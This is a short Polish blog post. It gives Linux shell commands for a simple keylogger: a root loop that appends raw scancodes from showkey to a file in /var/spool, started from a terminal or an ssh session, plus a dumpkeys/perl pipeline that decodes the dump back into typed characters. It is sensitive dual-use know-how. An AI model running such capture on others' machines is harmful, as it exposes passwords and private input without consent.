czwartek, 13 lutego 2020

Przechwytywanie klawiatury w Linuksie

Przechwytywanie kodów klawiatury do pliku:


w sesji ssh lub w terminalu wydać polecenie:

sudo while ( true ) ; do stdbuf -oL showkey -s | stdbuf -i0 -o0 tee -a /var/spool/keys.dump; done


Jak interpretować przechwycone kody?


Najpierw (jednorazowo) zrobić tablicę translacji:

 
sudo dumpkeys |grep ^keycode|sed "s/ / /"|sed "s/ / /" |cut -d' ' -f2,4 >s2a.txt

Potem w mało optymalnej i topornej pętli wypisywać znaki (bez modyfikatorów):

for k in `cat /var/spool/keys.dump |grep 0x|sed 's/0xe0//gm'|sed 's/0x4b//gm'`; do d=`printf "%d\n" $k`;grep $d s2a.txt|cut -d' ' -f2|perl -ne 'chomp; print " " if (m/space/); print "-" if (m/Pause/);print "\n" if (m/Return/); print substr $_,1 if(m/\+/);';done;echo


Przechwytywane są wszystkie kody klawiatury pisane na konsoli graficznej.

Brak komentarzy:

Prześlij komentarz